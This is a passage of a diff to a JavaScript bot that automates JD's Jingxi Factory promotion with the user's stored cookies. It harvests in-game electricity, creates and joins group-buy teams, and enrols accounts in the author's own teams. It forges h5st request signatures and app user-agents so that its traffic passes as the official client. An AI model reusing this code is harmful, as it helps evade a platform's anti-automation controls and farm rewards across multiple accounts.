//如按每小时运行一次,则此处将一天12点推送1次提醒 + $.msg($.name, '提醒⏰', `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`); + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`) + if ($.isNode() && `${notifyLevel}` === '3') allMessage += `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(taskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.productName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 查询已完成商品 +function GetShelvesList(pageNo = 1) { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetShelvesList', `pageNo=${pageNo}&pageSize=12`, `_time,pageNo,pageSize,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const { shelvesList } = data; + if (shelvesList) { + $.shelvesList = [...$.shelvesList, ...shelvesList]; + pageNo ++ + GetShelvesList(pageNo); + } + } else { + console.log(`GetShelvesList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取红包 +function DrawProductionStagePrize() { + return new Promise(async resolve => { + // const url = `/dreamfactory/userinfo/DrawProductionStagePrize?zone=dream_factory&sceneval=2&g_login_type=1&productionId=${$.productionId}`; + $.get(taskurl('userinfo/DrawProductionStagePrize', `productionId=${$.productionId}`, `_time,productionId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`开幸运红包:${data}`); + // if (safeGet(data)) { + // data = JSON.parse(data); + // if (data['ret'] === 0) { + // + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function PickUp(encryptPin = $.encryptPin, help = false) { + $.pickUpMyselfComponent = true; + const GetUserComponentRes = await GetUserComponent(encryptPin, 1500); + if (GetUserComponentRes && GetUserComponentRes['ret'] === 0 && GetUserComponentRes['data']) { + const { componentList } = GetUserComponentRes['data']; + if (componentList && componentList.length <= 0) { + if (help) { + $.log(`好友【${encryptPin}】地下暂无零件可收\n`) + } else { + $.log(`自家地下暂无零件可收\n`) + } + $.pickUpMyselfComponent = false; + } + for (let item of componentList) { + await $.wait(1000); + const PickUpComponentRes = await PickUpComponent(item['placeId'], encryptPin); + if (PickUpComponentRes) { + if (PickUpComponentRes['ret'] === 0) { + const data = PickUpComponentRes['data']; + if (help) { + console.log(`收取好友[${encryptPin}]零件成功:获得${data['increaseElectric']}电力\n`); + $.pickFriendEle += data['increaseElectric']; + } else { + console.log(`收取自家零件成功:获得${data['increaseElectric']}电力\n`); + $.pickEle += data['increaseElectric']; + } + } else { + if (help) { + console.log(`收好友[${encryptPin}]零件失败:${PickUpComponentRes.msg},直接跳出\n`) + } else { + console.log(`收自己地下零件失败:${PickUpComponentRes.msg},直接跳出\n`); + $.pickUpMyselfComponent = false; + } + break + } + } + } + } +} +function GetUserComponent(pin = $.encryptPin, timeout = 0) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskurl('usermaterial/GetUserComponent', `pin=${pin}`, `_time,pin,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + + } else { + console.log(`GetUserComponent失败:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +//收取地下随机零件电力API + +function PickUpComponent(index, encryptPin) { + return new Promise(resolve => { + $.get(taskurl('usermaterial/PickUpComponent', `placeId=${index}&pin=${encryptPin}`, `_time,pin,placeId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // data = data['data']; + // if (help) { + // console.log(`收取好友[${encryptPin}]零件成功:获得${data['increaseElectric']}电力\n`); + // $.pickFriendEle += data['increaseElectric']; + // } else { + // console.log(`收取自家零件成功:获得${data['increaseElectric']}电力\n`); + // $.pickEle += data['increaseElectric']; + // } + // } else { + // if (help) { + // console.log(`收好友[${encryptPin}]零件失败:${JSON.stringify(data)}`) + // } else { + // console.log(`收零件失败:${JSON.stringify(data)}`) + // } + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//偷好友的电力 +async function stealFriend() { + // if (!$.pickUpMyselfComponent) { + // $.log(`今日收取零件已达上限,偷好友零件也达到上限,故跳出`) + // return + // } + //调整,只在每日1点,12点,19点尝试收取好友零件 + if (new Date().getHours() !== 1 && new Date().getHours() !== 12 && new Date().getHours() !== 19) return + await getFriendList(); + $.friendList = [...new Set($.friendList)].filter(vo => !!vo && vo['newFlag'] !== 1); + console.log(`查询好友列表完成,共${$.friendList.length}好友,下面开始拾取好友地下的零件\n`); + for (let i = 0; i < $.friendList.length; i++) { + let pin = $.friendList[i]['encryptPin'];//好友的encryptPin + console.log(`\n开始收取第 ${i + 1} 个好友 【${$.friendList[i]['nickName']}】 地下零件 collectFlag:${$.friendList[i]['collectFlag']}`) + await PickUp(pin, true); + // await getFactoryIdByPin(pin);//获取好友工厂ID + // if ($.stealFactoryId) await collectElectricity($.stealFactoryId,true, pin); + } +} +function getFriendList(sort = 0) { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFactoryManagerList', `sort=${sort}`, `_time,sort,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + if (data.list && data.list.length <= 0) { + // console.log(`查询好友列表完成,共${$.friendList.length}好友,下面开始拾取好友地下的零件\n`); + return + } + let friendsEncryptPins = []; + for (let item of data.list) { + friendsEncryptPins.push(item); + } + $.friendList = [...$.friendList, ...friendsEncryptPins]; + // if (!$.isNode()) return + await getFriendList(data.sort); + } else { + console.log(`QueryFactoryManagerList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getFactoryIdByPin(pin) { + return new Promise((resolve, reject) => { + // const url = `/dreamfactory/userinfo/GetUserInfoByPin?zone=dream_factory&pin=${pin}&sceneval=2`; + $.get(taskurl('userinfo/GetUserInfoByPin', `pin=${pin}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (data.data.factoryList) { + //做此判断,有时候返回factoryList为null + // resolve(data['data']['factoryList'][0]['factoryId']) + $.stealFactoryId = data['data']['factoryList'][0]['factoryId']; + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function tuanActivity() { + const tuanConfig = await QueryActiveConfig(); + if (tuanConfig && tuanConfig.ret === 0) { + const { activeId, surplusOpenTuanNum, tuanId } = tuanConfig['data']['userTuanInfo']; + console.log(`今日剩余开团次数:${surplusOpenTuanNum}次`); + $.surplusOpenTuanNum = surplusOpenTuanNum; + if (!tuanId && surplusOpenTuanNum > 0) { + //开团 + $.log(`准备开团`) + await CreateTuan(); + } else if (tuanId) { + //查询词团信息 + const QueryTuanRes = await QueryTuan(activeId, tuanId); + if (QueryTuanRes && QueryTuanRes.ret === 0) { + const { tuanInfo } = QueryTuanRes.data; + if ((tuanInfo && tuanInfo[0]['endTime']) <= QueryTuanRes['nowTime'] && surplusOpenTuanNum > 0) { + $.log(`之前的团已过期,准备重新开团\n`) + await CreateTuan(); + return + } + for (let item of tuanInfo) { + const { realTuanNum, tuanNum, userInfo } = item; + $.tuanNum = tuanNum || 0; + $.log(`\n开团情况:${realTuanNum}/${tuanNum}\n`); + if (realTuanNum === tuanNum) { + for (let user of userInfo) { + if (user.encryptPin === $.encryptPin) { + if (user.receiveElectric && user.receiveElectric > 0) { + console.log(`您在${new Date(user.joinTime * 1000).toLocaleString()}开团奖励已经领取成功\n`) + if ($.surplusOpenTuanNum > 0) await CreateTuan(); + } else { + $.log(`开始领取开团奖励`); + await tuanAward(item.tuanActiveId, item.tuanId);//isTuanLeader + } + } + } + } else { + $.tuanIds.push(tuanId); + $.log(`\n此团未达领取团奖励人数:${tuanNum}人\n`) + } + } + } + } + } +} +async function joinLeaderTuan() { + let res = await updateTuanIdsCDN('') + if (!res) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res = await updateTuanIdsCDN(''); + } + $.authorTuanIds = [...(res && res.tuanIds || [])] + if ($.authorTuanIds && $.authorTuanIds.length) { + for (let tuanId of $.authorTuanIds) { + if (!tuanId) continue + if (!$.canHelp) break; + console.log(`\n账号${$.UserName} 参加作者的团 【${tuanId}】`); + await JoinTuan(tuanId); + await $.wait(1000); + } + } +} +//可获取开团后的团ID,如果团ID为空并且surplusOpenTuanNum>0,则可继续开团 +//如果团ID不为空,则查询QueryTuan() +function QueryActiveConfig() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=`; + const options = taskTuanUrl(`QueryActiveConfig`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { userTuanInfo } = data['data']; + console.log(`\n团活动ID ${userTuanInfo.activeId}`); + console.log(`团ID ${userTuanInfo.tuanId}\n`); + } else { + console.log(`QueryActiveConfig异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function QueryTuan(activeId, tuanId) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`QueryTuan`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + // $.log(`\n开团情况:${data.data.tuanInfo.realTuanNum}/${data.data.tuanInfo.tuanNum}\n`) + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团API +function CreateTuan() { + return new Promise((resolve) => { + const body =`activeId=${escape(tuanActiveId)}&isOpenApp=1` + const options = taskTuanUrl(`CreateTuan`, body, '_time,activeId,isOpenApp') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`【开团成功】tuanId为 ${data.data['tuanId']}`); + $.tuanIds.push(data.data['tuanId']); + } else { + //{"msg":"活动已结束,请稍后再试~","nowTime":1621551005,"ret":10218} + if (data['ret'] === 10218 && !hasSend && (new Date().getHours() % 6 === 0)) { + hasSend = true; + $.msg($.name, '', `京喜工厂拼团瓜分电力活动团ID(activeId)已失效\n请自行抓包替换(Node环境变量为TUAN_ACTIVEID,iOS端在BoxJx)或者联系作者等待更新`); + if ($.isNode()) await notify.sendNotify($.name, `京喜工厂拼团瓜分电力活动团ID(activeId)已失效\n请自行抓包替换(Node环境变量为TUAN_ACTIVEID,iOS端在BoxJx)或者联系作者等待更新`) + } + console.log(`开团异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function JoinTuan(tuanId, stk = '_time,activeId,tuanId') { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`JoinTuan`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`参团成功:${JSON.stringify(data)}\n`); + } else if (data['ret'] === 10005 || data['ret'] === 10206) { + //火爆,或者今日参团机会已耗尽 + console.log(`参团失败:${JSON.stringify(data)}\n`); + $.canHelp = false; + } else { + console.log(`参团失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询所有的团情况(自己开团以及参加别人的团) +function QueryAllTuan() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&pageNo=1&pageSize=10`; + const options = taskTuanUrl(`QueryAllTuan`, body, '_time,activeId,pageNo,pageSize') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { tuanInfo } = data; + for (let item of tuanInfo) { + if (item.tuanNum === item.realTuanNum) { + // console.log(`参加团主【${item.tuanLeader}】已成功`) + const { userInfo } = item; + for (let item2 of userInfo) { + if (item2.encryptPin === $.encryptPin) { + if (item2.receiveElectric && item2.receiveElectric > 0) { + console.log(`${new Date(item2.joinTime * 1000).toLocaleString()}参加团主【${item2.nickName}】的奖励已经领取成功`) + } else { + console.log(`开始领取${new Date(item2.joinTime * 1000).toLocaleString()}参加团主【${item2.nickName}】的奖励`) + await tuanAward(item.tuanActiveId, item.tuanId, item.tuanLeader === $.encryptPin);//isTuanLeader + } + } + } + } else { + console.log(`${new Date(item.beginTime * 1000).toLocaleString()}参加团主【${item.tuanLeader}】失败`) + } + } + } else { + console.log(`QueryAllTuan异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团人的领取奖励API +function tuanAward(activeId, tuanId, isTuanLeader = true) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`Award`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (isTuanLeader) { + console.log(`开团奖励(团长)${data.data['electric']}领取成功`); + message += `【开团(团长)奖励】${data.data['electric']}领取成功\n`; + if ($.surplusOpenTuanNum > 0) { + $.log(`开团奖励(团长)已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`参团奖励${data.data['electric']}领取成功`); + message += `【参团奖励】${data.data['electric']}领取成功\n`; + } + } else if (data['ret'] === 10212) { + console.log(`${JSON.stringify(data)}`); + + if (isTuanLeader && $.surplusOpenTuanNum > 0) { + $.log(`团奖励已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function updateTuanIdsCDN(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + $.tuanConfigs = data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000) + resolve(); + }) +} + +//商品可兑换时的通知 +async function exchangeProNotify() { + await GetShelvesList(); + let exchangeEndTime, exchangeEndHours, nowHours; + //脚本运行的UTC+8时区的时间戳 + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if ($.shelvesList && $.shelvesList.length > 0) console.log(`\n 商品名 兑换状态`) + for (let shel of $.shelvesList) { + console.log(`${shel['name']} ${shel['exchangeStatus'] === 1 ? '未兑换' : shel['exchangeStatus'] === 2 ? '已兑换' : '兑换超时'}`) + if (shel['exchangeStatus'] === 1) { + exchangeEndTime = shel['exchangeEndTime'] * 1000; + $.picture = shel['picture']; + // 兑换截止时间点 + exchangeEndHours = new Date(exchangeEndTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).getHours(); + //兑换截止时间(年月日 时分秒) + $.exchangeEndTime = new Date(exchangeEndTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false}); + //脚本运行此时的时间点 + nowHours = nowTimes.getHours(); + } else if (shel['exchangeStatus'] === 3) { + //兑换超时 + } + } + if (exchangeEndTime) { + //比如兑换(超时)截止时间是2020/12/8 09:20:04,现在时间是2020/12/6 + if (nowTimes < exchangeEndTime) { + // 一:在兑换超时这一天(2020/12/8 09:20:04)的前4小时内通知(每次运行都通知) + let flag = true; + if ((exchangeEndTime - nowTimes.getTime()) <= 3600000 * 4) { + let expiredTime = parseFloat(((exchangeEndTime - nowTimes.getTime()) / (60*60*1000)).toFixed(1)) + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${expiredTime}小时后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, {'open-url': jxOpenUrl, 'media-url': $.picture}) + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${(exchangeEndTime - nowTimes) / 60*60*1000}分钟后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { url: jxOpenUrl }) + if ($.isNode() && (`${notifyLevel}` === '1' || `${notifyLevel}` === '2' || `${notifyLevel}` === '3')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${expiredTime}小时后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + flag = false; + } + //二:在可兑换的时候,0,2,4等每2个小时通知一次 + if (nowHours % 2 === 0 && flag) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, {'open-url': jxOpenUrl, 'media-url': $.picture}) + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { url: jxOpenUrl }) + if ($.isNode() && (`${notifyLevel}` === '1' || `${notifyLevel}` === '2' || `${notifyLevel}` === '3')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } +} +async function showMsg() { + return new Promise(async resolve => { + message += `【收取自己零件】${$.pickUpMyselfComponent ? `获得${$.pickEle}电力` : `今日已达上限`}\n`; + message += `【收取好友零件】${$.pickUpMyselfComponent ? `获得${$.pickFriendEle}电力` : `今日已达上限`}\n`; + if (new Date().getHours() === 22) { + $.msg($.name, '', `${message}`) + $.log(`\n${message}`); + } else { + $.log(`\n${message}`); + } + resolve() + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: ``, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(async resolve => { + // tuanActiveId = $.isNode() ? (process.env.TUAN_ACTIVEID || tuanActiveId) : ($.getdata('tuanActiveId') || tuanActiveId); + // if (!tuanActiveId) { + // await updateTuanIdsCDN('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_updateFactoryTuanId.json'); + // if ($.tuanConfigs && $.tuanConfigs['tuanActiveId']) { + // tuanActiveId = $.tuanConfigs['tuanActiveId']; + // console.log(`拼团活动ID: 获取成功 ${tuanActiveId}\n`) + // } else { + // if (!$.tuanConfigs) { + // $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateFactoryTuanId.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + // await $.wait(1000) + // await updateTuanIdsCDN('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_updateFactoryTuanId.json'); + // if ($.tuanConfigs && $.tuanConfigs['tuanActiveId']) { + // tuanActiveId = $.tuanConfigs['tuanActiveId']; + // console.log(`拼团活动ID: 获取成功 ${tuanActiveId}\n`) + // } else { + // console.log(`拼团活动ID:获取失败,将采取脚本内置活动ID\n`) + // } + // } + // } + // } else { + // console.log(`自定义拼团活动ID: 获取成功 ${tuanActiveId}`) + // } + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = $.isNode() ? require('./jdDreamFactoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxFactory')) $.shareCodesArr = $.getdata('jd_jxFactory').split('\n').filter(item => item !== "" && item !== null && item !== undefined); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_jxFactory')}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskTuanUrl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "m.jingxi.com", + "Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html", + "User-Agent": "jdpingou" + } + } +} + +function taskurl(functionId, body = '', stk) { + let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function newtasksysUrl(functionId, taskId, stk) { + let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1`; + if (taskId) { + url += `&taskId=${taskId}`; + } + if (stk) { + url += `&_stk=${stk}`; + } + //传入url进行签名 + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + return { + url, + "headers": { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': "jdpingou;iPhone;3.15.2;13.5.1;90bab9217f465a83a99c0b554a946b0b0d5c2f7a;network/wifi;model/iPhone12,1;appBuild/100365;ADID/696F8BD2-0820-405C-AFC0-3C6D028040E5;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/14;pap/JA2015_311210;brand/apple;supportJDSHWK/1;", + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == 